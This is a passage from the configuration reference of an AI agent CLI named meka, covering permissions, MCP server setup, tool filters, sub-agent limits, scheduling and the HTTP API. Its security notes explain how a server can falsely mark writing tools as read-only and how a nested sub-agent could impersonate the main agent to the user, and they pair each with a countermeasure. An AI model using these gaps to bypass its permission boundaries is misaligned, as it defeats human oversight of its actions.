1M suits the current flagship models and overshoots the smaller and older ones. Overshooting is survivable rather than free - planned compaction never fires, so those sessions compact only after the provider rejects an over-long request, paying a wasted round trip each time. Set the real window on any profile whose model is smaller.
[session]
context_window = 200000
session.subagent_max_depth
Maximum recursion depth for sub-agents spawned via agent_spawn. The root agent spawns at depth 1, its sub-agents at depth 2, and so on; each level below this limit is granted its own agent_spawn. 1 reproduces the historical behavior where sub-agents cannot spawn further sub-agents; 0 disables agent_spawn entirely. An agent can tune a subtree with the tool’s max_depth parameter, but a built-in absolute cap always bounds real nesting so recursion can’t run away.
Default: 3
[session]
subagent_max_depth = 3
[thinking]
Presentation and budget settings for extended thinking (anthropic-messages and claude-subscription providers). Whether thinking is on, and which wire encoding it uses, is the per-profile thinking key - not a setting here.
While the model is thinking, the REPL draws a live Thinking... line so a long pause reads as work rather than as a hang. On claude-subscription it carries the server’s own running estimate (Thinking... (150 tokens)), redrawn in place as the count climbs; anthropic-messages does not report one, so the line stays bare. The count is coarse – a progress signal, not an accounting figure.
When the block ends the line stays on screen as a record that the phase happened; if the model returned readable reasoning, that text replaces the line instead. Nothing is drawn when output is piped or redirected, since there is no terminal to redraw on.
thinking.budget_tokens
Maximum number of tokens the model can use for thinking. Read only under thinking = "budgeted"; the adaptive encoding lets the model set its own budget and sends no cap. A per-profile [providers.<name>].thinking_budget takes precedence over this.
Default: 16000
thinking.show_content
Whether to show the whole text of a thinking block. When false, a block carrying readable reasoning is previewed as a single dimmed line, flattened across line breaks and cut to fit display.max_width, and the history replayed on resume (resume_show_recent) omits it entirely. Emphasis on that line is styling rather than text, so a summary’s **Bold header** reads as a bold header there too.
When true, the block streams to stderr as it arrives, behind the same dimmed Thinking... label, with every line after the first indented by two spaces. There is no height limit: asking to see the reasoning is asking to see all of it. On a model that streams its whole chain of thought this is the difference between a token counter and the text, and the live Thinking... (N tokens) indicator retires as soon as the first words arrive, since the text is the better progress signal.
Formatting follows display.render_mode, with one difference: reasoning is painted entirely in dark grey, so emphasis carries as bold or italic rather than as colour. That is what keeps a thinking block readable as a footnote rather than as the reply. Under termimad the markdown is rendered, so a reasoning summary’s **Bold header** arrives as a bold header instead of as asterisks; under raw and syntect the source is shown as written, which for reasoning means those two produce the same output. Fenced code keeps its fences and is not syntax-highlighted, for the same reason.
Either way the block is still sent on subsequent turns, for reasoning continuity.
One cost to know about: a turn that has streamed you reasoning will not retry a transient provider failure. meka retries only while nothing the model produced has reached you, since a second attempt would repeat it, and reasoning is the first thing a turn produces. Under the default the deltas are discarded and the one-line preview is built from the completed block, so nothing is repeatable and retries behave as they always have.
Default: false
[thinking]
budget_tokens = 20000
show_content = true
Instructions
Standing instructions are not a config key. They live at a conventional path beside config.toml, because prose long enough to be worth writing is miserable to maintain inside a TOML string:
~/.config/meka/
├── config.toml
├── instructions.md # or instructions/*.md
├── memory/
└── skills/
See Instructions for the full picture. In short: write instructions.md, or split a large set across instructions/*.md, and meka reads it at startup into the ## User Instructions section of the system prompt. To pass the text as a string instead (containers, CI), use MEKA_INSTRUCTIONS, MEKA_INSTRUCTIONS_FILE, or --instructions.
[mcp]
Which MCP servers to connect to, and what their tools are allowed to do. The MCP
page covers the rest: the meka mcp command suite, where a server’s secrets live, the OAuth flows,
the connection lifecycle, and the resource and prompt tools.
[[mcp.servers]]
An array of MCP server configurations. Each entry defines a server to connect to at startup.
| Field | Required | Description |
|---|---|---|
name | Yes | Unique name for this server. Used as namespace prefix for tools (name__tool). Must match [A-Za-z0-9_-]+, must not contain __, and must not be meka, ide, or start with mcp_. |
transport | Yes | Transport type: "stdio" (spawn subprocess) or "http" (streamable HTTP). |
command | Stdio only | Path or name of the executable to spawn. On Windows, npx / .cmd / .bat / .ps1 are auto-wrapped in cmd /c. |
args | No | Arguments to pass to the command. |
env | No | Environment variables to set for the spawned process (stdio only). The child does not inherit meka’s environment; see below. |
url | HTTP only | URL of the MCP server endpoint. |
auth | No | OAuth authentication configuration (see below). Mutually exclusive with a stored bearer token. |
headers | No | Custom HTTP headers to include with every request (HTTP only). |
headers_helper | No | Path to an executable whose stdout (Name: Value\n lines) is merged over headers at connect-time (HTTP only). Executed with MEKA_MCP_SERVER_NAME / MEKA_MCP_SERVER_URL in env; 15 s timeout. |
permission | No | Server-wide permission override. Applies to every tool on this server, beating the readOnlyHint the server advertises and the [mcp].default_permission global fallback. See Permission resolution below. |
allowed_tools | No | Optional allow-list of raw tool names (the form the server advertises, not the server__tool namespaced form). When set and non-empty, only these tools are registered; all others from this server are ignored. |
disabled_tools | No | Optional block-list of raw tool names. Applied after allowed_tools; tools listed here are never registered. Both lists can coexist; the net set is allowed_tools \ disabled_tools. |
eager_load_tools | No | Raw tool names that should ship eager-loaded instead of deferred. Listed tools skip the load_tool round-trip and sit in the cacheable tools-array prefix from turn 1. Use this for tools the agent invokes constantly (search, fetch, …); leave others deferred so the tools array stays lean. |
tool_permissions | No | Per-tool permission overrides keyed by raw tool name. Beats the server-level permission and the server’s readOnlyHint when resolving a tool’s required permission. |
trust_read_only_hint | No | Whether this server’s readOnlyHint: true may classify a tool as read. Defaults to true. Set false for a server you have not audited: its hints become advisory for display only, so its tools fall through to the strict unrestricted fallback, skipping [mcp].default_permission (a global convenience must not re-grant what a per-server audit decision refused). A readOnlyHint: false is still honoured either way, since it only raises the requirement. See Permission resolution below. |
disabled | No | When true, the server is skipped entirely at startup: no process is spawned, no HTTP connect is attempted. Flip it back with meka mcp enable <name> or by editing the config. Defaults to false. |
required | No | When true, a turn is rejected while this enabled server is not Connected (a disabled server is never started, so it never gates). Over the HTTP API that rejection is a 503 /errors/mcp-unavailable naming the servers. When false, the session runs without it and its tools are simply absent. Defaults to [mcp].strict (itself false), so servers are optional unless they opt in. |
[mcp] top-level table
| Field | Purpose |
|---|---|
default_permission | Fallback permission for MCP tools whose server didn’t advertise readOnlyHint and doesn’t have a permission override. Accepts "none", "read", "workspace", "ask", or "unrestricted". If unset the hardcoded fallback is "unrestricted" (strict). It stays there deliberately: an MCP server runs unsandboxed, so workspace cannot confine it. |
strict | Default for every server’s required flag. When true, all enabled servers gate the turn; when false (the default) only servers with required = true do. An unavailable optional server doesn’t stop the turn; its failure is logged once when it happens, and its live state is shown by /mcp list in the REPL or probed with meka mcp reconnect <name>. |
grace_seconds | Per-turn cap on how long to wait for still-Pending servers to connect before deciding. Default 3. Set to 0 to skip waiting (useful for scripts that want to fail fast). |
connect_timeout_seconds | Per-server timeout for connect + initialize + list_tools. A hung stdio spawn or slow HTTPS handshake can’t stall the whole fleet past this bound. Default 30. |
Permission resolution
Every MCP tool’s required permission is resolved through a five-step chain; the first match wins:
server.tool_permissions[<raw-tool>]: explicit per-tool override.server.permission: explicit server-level override. Applies to every tool on that server regardless of what the server advertises.tool.annotations.readOnlyHintfrom the server:true→Read,false→Unrestricted. Thetruehalf is skipped when the server setstrust_read_only_hint = false, and a hint skipped that way also bypasses step 4, landing on step 5.[mcp].default_permission: global fallback. Not consulted for a hint that step 3 refused.- Hardcoded
Unrestricted: strict ultimate fallback.
User-supplied config (1, 2, 4) always beats the server’s self-classification; if a server lies about a tool, you can override. But when no user config says anything, the server’s hint is trusted for that specific tool so readOnlyHint = false destructive tools don’t silently become Read-accessible just because the user opted into a lenient global default.
Hint spoofing: readOnlyHint is asserted by the server and not verified by meka, and MCP tools run in the server’s own process with no sandbox. A server that claims readOnlyHint = true for a tool that in fact writes therefore gets to write your tree while meka sits at read: MCP tools are outside the read-mode filesystem boundary that covers meka’s built-ins (see Permissions).
Three defences, in increasing order of bluntness:
tool_permissionson the specific tools you want pinned (step 1 wins).trust_read_only_hint = falseon the server, which makes its hints advisory for display only. A refused hint drops straight to the strictunrestrictedfallback, deliberately skipping[mcp].default_permission: that key is a global default, and letting it answer would meandefault_permission = "read"silently re-granting exactly what the per-server flag refused. None of that server’s hinted tools is reachable atreadwithout an explicit override.server.permission = "unrestricted"on the whole server (step 2 wins), ordisabled_toolsto remove the tool entirely.
The hint is trusted by default because most servers annotate honestly and requiring per-tool config for every server would make read mode impractical. trust_read_only_hint is the switch for a server you have not audited.
Stale config: entries in allowed_tools / disabled_tools / eager_load_tools / tool_permissions that don’t match any advertised tool get a warn! line at connect time. The server still connects; you just see a heads-up so you can clean up after the server renames a tool. A name that appears in both eager_load_tools and disabled_tools also warns: the disabled filter wins, so eager-loading the disabled tool is a no-op.
Visibility across levels: the resolved permission doesn’t hide a tool from the agent. Every registered tool is listed in the per-turn context with its required level noted inline, and a [Permission context] section names the current level and states in one line what it allows (it does not enumerate tools; the per-tool levels are in the catalogue above it). The agent can still reason about an inaccessible tool and suggest /permission <level> to enable it; the permission gate is enforced at dispatch time. Keeping the tool catalogue visible across levels is also what lets the Claude prompt cache survive mid-session permission toggles.
The stdio server’s environment
A stdio server is a child process that talks to the network, and it does not inherit meka’s
environment. It receives the same curated base a read-mode shell gets (PATH so it can resolve its
own binaries, HOME, locale, TMPDIR), plus whatever the server’s own env table sets.
Configuring a server is a decision to run its code, not a decision to hand it every credential on
the machine: without this, ANTHROPIC_API_KEY, AWS_* and GITHUB_TOKEN all rode along into every
server you had ever added.
The base also carries the machine’s network configuration (HTTP_PROXY, HTTPS_PROXY, NO_PROXY,
SSL_CERT_FILE, SSL_CERT_DIR, NODE_EXTRA_CA_CERTS and the usual siblings), because a server
that cannot see them connects to nothing behind a corporate proxy and fails every call with an
error naming none of the cause. Those say where to go and whom to trust; they grant nothing.
Three families are deliberately left out and have to be requested per server: SSH_AUTH_SOCK, which
is a live credential agent; NODE_OPTIONS, which takes --require and therefore arbitrary code;
and the import paths PYTHONPATH / NODE_PATH / VIRTUAL_ENV, which change what a program loads.
A server that genuinely needs one takes it explicitly:
[[mcp.servers]]
name = "tooling"
transport = "stdio"
command = "my-tooling-server"
env = { PYTHONPATH = "${PYTHONPATH}" }
A server that genuinely needs a secret asks for it by name, and ${VAR} still reads meka’s
environment at connect time:
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
env = { GITHUB_PERSONAL_ACCESS_TOKEN = "${GITHUB_TOKEN}" }
Examples
Exa: reliable web search when the built-in DuckDuckGo scraper gets CAPTCHA’d. The free tier works without an API key; paste a key into the headers table for the paid tier:
# Free tier, no key required
meka mcp add exa https://mcp.exa.ai/mcp
# Paid tier, expands from EXA_API_KEY at connect time
meka mcp add exa https://mcp.exa.ai/mcp --header "x-api-key=${EXA_API_KEY}"
Well-annotated server: no config needed. Every tool is classified by its own readOnlyHint (read tools Read, write tools Write):
[[mcp.servers]]
name = "notion"
transport = "http"
url = "https://mcp.notion.com/mcp"
User-declared trust on an unannotated server (all tools accessible in Read):
[[mcp.servers]]
name = "internal"
transport = "http"
url = "https://mcp.internal/…"
permission = "read"
Overriding a mis-annotated or distrusted tool (one specific tool requires unrestricted):
[[mcp.servers]]
name = "notion"
transport = "http"
url = "https://mcp.notion.com/mcp"
[mcp.servers.tool_permissions]
"notion-do-something-scary" = "unrestricted"
Subset of a server’s tools (only query registers, all others are ignored):
[[mcp.servers]]
name = "pg"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres"]
allowed_tools = ["query"]
Block-list with a narrow exception (all fs tools are Read-accessible except the two destructive ones, which are never registered):
[[mcp.servers]]
name = "filesystem"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem"]
permission = "read"
disabled_tools = ["delete_file", "move_file"]
MCP tools are registered with namespaced names in the format servername__toolname to prevent collisions with built-in tools or between servers.
Tool and resource descriptions returned from MCP servers are truncated at 2048 characters to keep the rendered catalogue bounded.
Environment variable substitution
Every string field listed above (command, args, env values, url, headers values) supports ${VAR} and ${VAR:-default} expansion from the process environment. Missing variables with no default leave the literal ${VAR} in place and log a warning at startup. Use this to avoid committing secrets:
[[mcp.servers]]
name = "github"
transport = "http"
url = "https://mcp.github.com"
headers = { X-Api-Key = "${GITHUB_MCP_TOKEN}" }
env, args and headers may contain a secret, but they are not one: env sets a subprocess’s whole environment, args carries connection strings, and headers carries X-Tenant-Id as readily as X-Api-Key. meka cannot tell which is which, so they stay in config.toml and ${VAR} is how you keep a value out of it.
A bearer token and an OAuth client secret are unambiguously secrets, so they are not config at all. They live in meka’s database and are set with meka mcp add --auth-token-stdin / --client-secret-stdin, or afterwards with meka mcp login. See Credentials.
[mcp.servers.auth]
OAuth authentication for HTTP MCP servers. Set type to choose the authentication method. This is mutually exclusive with a stored bearer token.
The client secret is not a field here. It is a secret, so it lives in the database: set it with meka mcp add --client-secret-stdin or meka mcp login <name> --client-secret-stdin. See Credentials.
| Field | Required | Description |
|---|---|---|
type | Yes | Auth method: "client_credentials", "client_credentials_jwt", or "oauth" |
client_id | Varies | OAuth client ID (required for client_credentials/jwt, optional for oauth with dynamic registration) |
scopes | No | OAuth scopes to request |
resource | No | Resource parameter (RFC 8707), client_credentials only |
signing_key_path | JWT only | Path to PEM private key file |
signing_algorithm | No | JWT signing algorithm: RS256 (default), RS384, RS512, ES256, ES384 |
redirect_port | No | Local port for OAuth authorization code callback. When omitted, meka binds to a random ephemeral port (recommended). oauth only. |
Examples
Stdio server
[[mcp.servers]]
name = "postgres"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres", "postgresql://localhost/mydb"]
permission = "unrestricted"
HTTP server
[[mcp.servers]]
name = "web-tools"
transport = "http"
url = "http://localhost:8080/mcp"
permission = "read"
HTTP server with authentication
The bearer token is not in the file. Store it once with meka mcp add api https://api.example.com/mcp --auth-token-stdin, or meka mcp login api --auth-token-stdin for a server that already exists.
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"
[mcp.servers.headers]
X-Custom-Header = "value"
Stdio server with environment variables
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "read"
[mcp.servers.env]
GITHUB_TOKEN = "ghp_..."
Multiple servers
[[mcp.servers]]
name = "filesystem"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/home/user/projects"]
permission = "read"
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "unrestricted"
HTTP server with OAuth client credentials
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"
[mcp.servers.auth]
type = "client_credentials"
client_id = "my-client-id"
scopes = ["read", "write"]
client_credentials needs a client secret, which is stored rather than written here: pass --client-secret-stdin to meka mcp add, or meka mcp login api --client-secret-stdin afterwards.
HTTP server with JWT client credentials
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
[mcp.servers.auth]
type = "client_credentials_jwt"
client_id = "my-client-id"
signing_key_path = "/path/to/private-key.pem"
signing_algorithm = "RS256"
scopes = ["admin"]
HTTP server with OAuth authorization code flow
On first connection, meka opens a browser for authorization and stores the token for future use.
[[mcp.servers]]
name = "github-mcp"
transport = "http"
url = "https://mcp.example.com"
[mcp.servers.auth]
type = "oauth"
client_id = "my-app-id"
scopes = ["repo", "user"]
redirect_port = 8400
If client_id is omitted, meka attempts dynamic client registration with the server.
[tools]: built-in tool filters
The three knobs [[mcp.servers]] exposes for MCP tools also apply to meka’s built-in tools (read_file, write_file, execute_command, search_web, etc.) via a top-level [tools] table. MCP per-server filtering is separate from this and keeps its own namespaces; this block only affects the built-ins.
| Key | Purpose |
|---|---|
allowed_tools | Optional allow-list of built-in tool names. When set and non-empty, only these built-ins register, with one exception: the seven MCP meta-tools register regardless, because they are how the agent reaches a configured server’s resources and prompts at all. Naming one here is inert and warns at startup; use disabled_tools to remove one. Use meka tools list to see the canonical names. |
disabled_tools | Block-list of built-in tool names. Applied after allowed_tools; a tool here is never registered even if it also appears in the allow-list. |
tool_permissions | Per-tool required-permission override keyed by built-in name. Beats the hardcoded required level from the tool’s impl. Levels: none, read, workspace, ask, unrestricted. |
Stale entries (a name that doesn’t match any built-in) emit a warn! at startup. meka still starts; the warning just flags a likely typo or a tool the binary renamed.
Restrict a session to read-only inspection:
[tools]
allowed_tools = ["read_file", "find_files", "search_contents", "fetch_url"]
Force execute_command to need unrestricted so ask mode prompts for every shell call:
[tools.tool_permissions]
execute_command = "unrestricted"
Disable web access entirely in a locked-down environment:
[tools]
disabled_tools = ["search_web", "fetch_url"]
Sub-agents spawned via agent_spawn inherit the same filter; a disabled built-in is disabled everywhere. To take something away from sub-agents only, use [subagents]. Run meka tools list to see every built-in’s effective required permission, whether a [tools.tool_permissions] override is in effect, and whether the current config enables it.
[subagents]
Capabilities a sub-agent may never hold. Where [tools] restricts everyone, this block restricts only workers.
| Key | Type | Default | Description |
|---|---|---|---|
disabled_servers | list | [] | MCP servers a sub-agent cannot see at all |
disabled_tools | list | [] | Individual tool names a sub-agent cannot see |
[subagents]
disabled_servers = ["mekabridge"]
disabled_tools = ["mcp__notion__create_page"]
disabled_servers is the one that matters. Naming a server removes everything it offers from every sub-agent: its tools, its resources, and its prompts. Reach for it when a server exists to talk to you or to act on your behalf. The motivating case is a server that can message the user: without this, a worker three levels down can send a message the user has no way to distinguish from the one they are actually talking to.
disabled_tools takes names as they appear in the tool list, so built-ins (write_file) and namespaced MCP tools (mcp__notion__create_page) share one namespace. For a whole server, prefer disabled_servers: it covers the resource and prompt surfaces that a tool-name list cannot reach.
An entry matching nothing emits a warn! at startup, the same way [tools] does. A typo here denies nothing while reading as a restriction, which is worse than writing no config at all.
These are floors. An orchestrator can restrict a particular worker further with agent_spawn’s deny_servers / deny_tools parameters, and each level of nesting inherits everything above it, but nothing can grant back what this block took away. There is deliberately no call-site allow-list for that reason.
Why memory and instructions are not configured here
Two things a sub-agent might inherit are deliberately absent: the memory store and the instructions file. Both are granted per call by agent_spawn and default to nothing.
The distinction is what config can actually enforce. A capability can be withheld: a tool the registry never registered cannot be reached, however the parent phrases the task. Context cannot. An agent holding the instructions has them verbatim in its own system prompt, and one with memory_read can read any memory – so either can be copied into a worker’s prompt whatever config says. A [subagents].memory = "none" key would look like a boundary while stopping only the worker’s own browsing, not the content reaching it, and a control that reads as a guarantee but isn’t one is worse than none.
The other half of the argument is that the config guardrail existed for a failure mode that no longer applies. It was there because the parent might forget – which only matters for things that are on by default. Both of these now default to off, so forgetting produces a clean worker.
[skills]
Controls the skill store. See the Skills guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register skill_read / skill_search and render the skills index |
agent_managed | bool | false | Additionally register skill_write / skill_delete |
extra_paths | array | [] | Additional directories to scan, read-only |
[skills]
enabled = false
Setting enabled = false keeps every skill tool’s schema out of every request and renders no skills section. Files already in ~/.config/meka/skills/ are left untouched.
agent_managed = true lets the agent author its own skills. It is off by default because you normally curate that store yourself; it exists for a long-running agent that dispatches sub-agents, where a skill is the only artifact that both survives the session and can be handed to a worker as its task. Sub-agents never receive the authoring tools whatever this is set to. See Letting the Agent Manage Skills.
extra_paths adds directories to the scan. They are strictly read-only: meka never creates them and never writes into them, so an entry that does not exist is simply skipped and leaves nothing behind. A leading ~ is expanded.
[skills]
extra_paths = ["~/.agents/skills"]
~/.agents/skills is the cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible here. It is not a default: reading a directory outside meka’s own namespace is your call. meka’s own store is searched first and wins a name collision. There is no automatic project-level scan, for the same reason meka does not read config or instructions from the working directory; name the path here if you want a project’s skills read. See Reading Skills from Other Directories.
An entry that repeats an earlier one, or that names meka’s own skills directory, is dropped with a warning: it would otherwise be scanned twice and every skill in it reported as shadowed by itself. An empty string is dropped too, since it would expand to your home directory.
[memory]
Controls the agent’s durable note store. See the Memory guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register the memory_* tools and render the memory index |
[memory]
enabled = false
Setting enabled = false keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing for lean sessions that will never use it. Memories already stored are left untouched, and meka memory still reaches them.
There is deliberately no environment variable and no CLI flag here: whether an agent keeps memories is a property of the installation, not something to vary per run.
[schedule]
Controls the wakeups the agent schedules for itself. See the Scheduling guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register the schedule_* tools and run the scheduler |
poll_interval | duration | "10s" | How often due jobs are checked |
missed_grace | duration | "24h" | How late a one-shot job may be and still fire after downtime |
gate_timeout | duration | "30s" | Wall-clock budget for a gate probe |
max_jobs | int | 50 | Per-session ceiling, refused at schedule_create |
max_consecutive_fires | int | 5 | Per-session ceiling on turns spent in one sweep |
claim_lease | duration | "1h" | How long a host’s claim on a due occurrence is good for |
[schedule]
enabled = true
poll_interval = "10s"
missed_grace = "24h"
gate_timeout = "30s"
max_jobs = 50
max_consecutive_fires = 5
claim_lease = "1h"
poll_interval is the real resolution floor: a job whose interval is shorter than the tick fires once per tick, not once per interval.
missed_grace applies only to one-shot jobs. Recurring jobs need no equivalent, because their occurrences are one period apart, so the most recent missed one is always less than a period old; the scheduler coalesces the rest into a single catch-up fire.
claim_lease is how long a crashed host’s occurrence stays unavailable before another host takes it. A due job is leased rather than consumed, so the row survives until the turn is delivered and a host that dies mid-delivery costs a retry rather than the occurrence. Raise it only if a gate probe plus a turn could plausibly exceed an hour; lowering it below that risks a second host taking an occurrence the first is still running, which the session lock catches at the cost of a deferral and a re-run gate probe. A host refuses to start on a value at or under gate_timeout, since a lease that cannot outlast the host’s own probe is never right; that check does not cover the turn after the probe, which is unbounded, so leave headroom on top of it.
max_consecutive_fires interleaves sessions: without it, one session’s whole backlog runs to completion before another session’s single due job is reached. Jobs past the budget keep their occurrence, run no gate, and are taken by the next sweep most-overdue first. It bounds a batch rather than a rate – sweeps do not overlap and the next starts as soon as the last ends, so a backlog still produces one turn per job, just in interleaved groups. 0 is rejected, since it would hold every job over forever; use enabled = false to turn scheduling off.
Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves existing jobs on disk without firing.
As with [skills] and [memory], there is no environment variable and no CLI flag: whether an agent may schedule its own turns is a property of the installation.
[background]
Controls tool calls the agent starts and does not wait for. See the Background Tasks guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | false | Offer the background parameter and register the task_* tools |
max_tasks | int | 10 | Concurrent tasks per session, refused at dispatch |
[background]
enabled = true
max_tasks = 10
Alone among the capability blocks, this one is off by default. [schedule], [skills], and [memory] add capability without changing when a turn ends; this changes the contract of the primary interaction into “you asked, it answered, and something else may interrupt you later”. That is right for an unattended assistant and wrong for someone using the REPL as a command line. A scheduled job also takes an explicit act to create, whereas background is reachable from any tool call, so an agent will reach for it unprompted.
Setting enabled = false keeps the background property out of every tool schema and the two task_* tools out of every request, rather than advertising a parameter that would only ever be refused.
Outcome delivery shares [schedule].poll_interval, so that key sets how long a finished task waits before it is reported, whether or not scheduling itself is enabled.
Config-only, like the blocks above: no environment variable, no CLI flag.
[serve]
Configuration for meka serve, the HTTP API server. See the HTTP API usage guide for a full walkthrough.
serve.bind
Address and port the HTTP server listens on.
| Type | Default |
|---|---|
string | "127.0.0.1:8080" |
[serve]
bind = "0.0.0.0:8080"
Security: Binding to
0.0.0.0exposes the server on all interfaces. In production, keep127.0.0.1and front with a TLS-terminating reverse proxy.
serve.max_body_bytes
Maximum request body size in bytes. Requests exceeding this limit are rejected with 413 Payload Too Large.
| Type | Default |
|---|---|
integer | 10485760 (10 MiB) |
serve.relay_provider_errors
Whether a 502’s payload carries the provider’s own response text, as a provider_response member
alongside detail.
On by default. The upstream’s error type is the actionable part of a failed turn, and “consult the
server log” is no answer to anyone driving a meka they do not operate. meka acp has always handed
the same text to its client, so withholding it on HTTP left the text just as public while making the
one surface quieter.
What it can expose is usually the upstream’s response body, which can name the operator’s provider account and its rate-limit posture: a fact about your billing relationship rather than about the caller or the conversation, which is why this is a switch rather than a decision meka makes for you. Not always, though. The member carries the failing call’s error message, and for some failures that is meka’s own sentence about the call rather than anything the provider sent.
It reaches sessions:r, not only sessions:w. Submitting a turn takes the write scope, but the
failure also rides the terminal turn.failed event, and GET /v1/sessions/{id}/stream replays that
to any reader. Turn this off where read-only tokens go to people who may watch a session but are not
entitled to the account behind it.
[serve]
relay_provider_errors = false
detail is unchanged either way, so a client reading only that sees the same sentence and a
context overflow keeps its “shorten it before retrying” remedy. Off, the member is simply absent
and the text goes to the server log alone.
Bounded to the provider’s own response. A required MCP server that is down still reports only the
server names under /errors/mcp-unavailable, because that reason is meka’s own subprocess text and
has carried a command line and its filesystem path. This key does not turn that on.
| Type | Default |
|---|---|
boolean | true |
serve.docs
Whether to serve the Swagger UI at /v1/docs and the OpenAPI document at /v1/openapi.json.
Off by default. These are the only routes on the surface that take no bearer token and describe
the deployment rather than report on it: what they publish is the shape of every endpoint you
expose. That is exactly what you want while building a client against a local meka serve, and
exactly what you do not want reachable from anywhere else. Turn it on deliberately.
[serve]
docs = true
| Type | Default |
|---|---|
boolean | false |
serve.max_concurrent_turns
Process-wide cap on in-flight turns across all sessions. When the cap is reached, new turn submissions return 429 Too Many Requests with a Retry-After header. Leave it unset for no limit; 0 is rejected at startup, because a cap of zero would 429 every turn rather than mean “unlimited”.
| Type | Default |
|---|---|
integer | unbounded |
serve.stream_replay_events
How many SSE events per turn to retain so a client reconnecting to GET /v1/sessions/{id}/stream with Last-Event-ID can replay what it missed.
| Type | Default |
|---|---|
integer | 256 |
Matches the live broadcast channel’s capacity: retaining more than the channel can buffer would let a reconnecting client replay events a connected consumer would have been dropped for missing. Raising it buys a longer reconnect window at the cost of per-session memory during a turn. 0 switches replay off, so a reconnect receives only what happens from then on and is told its replay is incomplete rather than being handed a silently truncated one.
serve.stream_reattach_grace
How long a streaming turn keeps running after its SSE consumer disconnects, waiting for a reconnect. Accepts duration strings.
| Type | Default |
|---|---|
string (duration) | "30s" |
Zero subscribers means nobody is listening, and a turn with no audience is spending provider tokens for nothing. That is the right instinct and the wrong deadline: a client whose connection just dropped and one that is never coming back are the same observation until the window expires. Set "0s" to cancel a turn the moment its stream drops, which spends less on abandoned work and makes re-attach useful only for turns that already finished.
serve.idle_timeout
How long a session can sit idle (no turns submitted) before the GC evicts it from memory. Accepts duration strings like "24h", "30m", "7d". Set to "0" to disable idle GC.
| Type | Default |
|---|---|
string (duration) | "24h" |
Eviction drops the in-memory runtime but preserves the SQLite row; a later request transparently re-attaches. See delete_on_idle to also remove the DB row.
serve.gc_scan_interval
How often the background GC scanner runs. Accepts duration strings.
| Type | Default |
|---|---|
string (duration) | "5m" |
serve.delete_on_idle
When true, idle-evicted sessions also have their SQLite row deleted. When false (default), only the in-memory state is dropped and the session can be re-attached later.
| Type | Default |
|---|---|
bool | false |
serve.shutdown_drain_timeout
Maximum time to wait for in-flight turns and tasks to finish during graceful shutdown (SIGTERM / SIGINT). After this timeout, remaining tasks are aborted and the process exits.
| Type | Default |
|---|---|
string (duration) | "30s" |
[[serve.tokens]]
An array of bearer tokens for API authentication. At least one token is required.
| Key | Required | Description |
|---|---|---|
token | Yes* | The bearer token value. Supports ${ENV_VAR} substitution. Mutually exclusive with token_file. |
token_file | Yes* | Path to a file containing the token (one line, trimmed). Mutually exclusive with token. A startup warning is logged if the file is world-readable. |
description | No | Human-readable label for this token (appears in logs). |
scopes | Yes | Array of scope strings. One :r and one :w per subsystem: sessions, skills, memory, schedule, mcp. |
* Exactly one of token or token_file must be set.
Inline plaintext tokens log a startup warning; use ${ENV_VAR} or token_file for production.
Examples
Development token (inline):
[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]
Production token (environment variable):
[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Production token (file-based):
[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Admin token with every scope:
[[serve.tokens]]
token = "${MEKA_ADMIN_TOKEN}"
description = "operator"
scopes = [
"sessions:r", "sessions:w",
"skills:r", "skills:w",
"memory:r", "memory:w",
"schedule:r", "schedule:w",
"mcp:r", "mcp:w",
]
Scopes are flat: memory:r does not imply memory:w, and neither implies the other. See the HTTP API scope table for what each permits. An unrecognised scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.
[[serve.webhooks]]
Outbound endpoints meka POSTs to when something happens that no client is waiting on: a scheduled job firing, a background task finishing. Omit the block entirely and meka never makes an outbound request.
[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}" # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired"]
timeout = "10s"
max_retries = 3
| Key | Type | Default | Notes |
|---|---|---|---|
url | string | required | https:// or http://; supports ${ENV_VAR} |
secret | string | none | HMAC key for X-Meka-Signature; supports ${ENV_VAR} |
secret_file | path | none | Mutually exclusive with secret; chmod 0600 |
events | array | required | One or more of the four names above |
timeout | duration | "10s" | Per attempt |
max_retries | integer | 3 | Retries after the first attempt |
events is required and every name must be recognised. An unknown event is a startup error, not a warning, unlike an unknown token scope: a scope that grants nothing leaves the token working for whatever else it holds, whereas an endpoint whose only subscription is a typo is silently never called at all.
Payloads carry identifiers and metadata, never message content. Omitting secret sends unsigned deliveries and logs a warning. See Webhooks for the payload shape and the signature-verification recipe.
Environment Variables
The config file is the recommended way to configure meka. Environment variables are useful for operational overrides; for example, in CI pipelines, containers, or to isolate a per-project config and data directory.
These operational variables override config file values but are overridden by CLI flags.
Provider configuration is not configurable via the environment. Provider selection comes from the config file and
